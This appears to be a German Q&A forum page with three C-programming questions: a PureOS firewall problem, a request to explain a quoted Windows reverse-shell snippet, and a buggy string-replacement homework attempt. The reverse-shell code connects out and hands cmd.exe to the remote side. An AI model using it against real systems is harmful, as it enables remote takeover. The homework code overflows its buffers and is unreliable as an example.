C (Programmiersprache) – die besten Beiträge

warum deaktiviert sich die Firewall immer wieder in PureOS?

hallo

ich nutze immer wieder mal eine andere Distro eine Zeit lang, um versch. Linux Distros kennenzulernen.

Jetzt werd ich PureOS mal für 1-2 Monate nutzen. Das Problem ist, dass sich die Firewall ufw immer wieder nach einem Neustart deaktiviert bzw. beim Neustart ist sie dann abgeschaltet und ich muss sie neu starten.

Ich möchte die Firewall auf jeden Fall aktiviert haben, weil ich auch immer wieder in anderen Netzwerken unterwegs bin.

Das Problem ist, dass wenn die Firewall mal installiert ist, muss sie komischerweise auf PureOS aktiviert sein, weli man sonst nicht mehr ins Netz kommt(!). Dh wenn installiert und sie ist deaktiviert, kommt man nicht ins Netz. Das hatte ich auch noch nie!

Merkwürdig ist auch, dass wenn man das OS neu startet und ufw war vorher aktiv, dann hängtdas System beim neu booten längere Zeit und auch der Anmeldeprozess dauert lange, wenn man mal sein PW eingabl bis der Desktop kommt. Dh auch der Anmeldeprozess höngt über eine Minute.

Deinstalliere ich dann ufw wieder, hängt das System beim Booten nicht mehr.

Wie kann ich PureOS dazu bringen, die Firewall konstant aktiv zu lassen?

Hab versucht die Firewall sowohl über die Konsole zu aktivieren, und da wird gesagt beim nächsten Start sei sie dann auch aktiv, ist aber nicht der Fall.. als auch über das ZUsatztool gufw. Auch wenn ich über gufw sie aktiviere, ist sie beim nächsten System wieder deaktiviert.

Server, Linux, programmieren, Ubuntu, Linux-Server, Linux Mint, Serverprobleme, C (Programmiersprache), Debian

Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)

Wie kann ich eine Zeichenkette in einem String suchen und ersetzen?

Hallo zusammen,

ich möchte ein C-Programm schreiben, in der ein String durch scanf eingelesen wird.

In dem String ist eine Buchstabenkombination "ax", die durch "53" ersetzt werden soll. Die Kombination "ax" soll ersetzt werden, nicht aber "a" oder "x" oder "xa".

Ich habe da schon einmal etwas versucht. Jedoch lassen sich die Buchstaben ersetzen, aber willkürlich.

Ich bitte um Hilfe.

Hinweis: Ich darf keine C-Funktionen aus der Bibliothek string.h verwenden:

MfG

Julian Lindemeyer

char Einlesen[16];
char nachaxdurchsuchen[2] = "ax";
char durch53ersetzen[2] = "53";
int matrikelnummer = 742152;
char suchenundersetzen1;
char suchenundersetzen3;
char suchenundersetzen2;
char suchenundersetzen4;
int k, l;
  
printf("Bitte geben sie das Suchzeichen ein\n");
scanf("%s", nachaxdurchsuchen);

printf("Bitte geben sie das Ersatzzeichen ein\n");
scanf("%s", durch53ersetzen);

printf("Bitte geben sie den String ein, indem gesucht werden soll\n");
scanf("%s", Einlesen);

printf("%s\n", Einlesen);

suchenundersetzen1 = nachaxdurchsuchen[0];
suchenundersetzen2 = durch53ersetzen[0];
suchenundersetzen3 = nachaxdurchsuchen[1];
suchenundersetzen4 = durch53ersetzen[1];

int AnzahlderZeichenketteimString = 0;

while (Einlesen[AnzahlderZeichenketteimString] != '\0') {
  AnzahlderZeichenketteimString++;
}

int j, i;

for (i = 0; i < AnzahlderZeichenketteimString; i++) {
  if (Einlesen[i] == suchenundersetzen1) {
    Einlesen[i] = suchenundersetzen2;
  }

  for (j = 0; j < AnzahlderZeichenketteimString; j++) {
    if (Einlesen[j] == suchenundersetzen3) {
      Einlesen[j] = suchenundersetzen4;
    }
  }

  printf("%c%c", Einlesen[i], Einlesen[j]);
}
Computer, Informatik, C (Programmiersprache)

Meistgelesene Beiträge zum Thema C (Programmiersprache)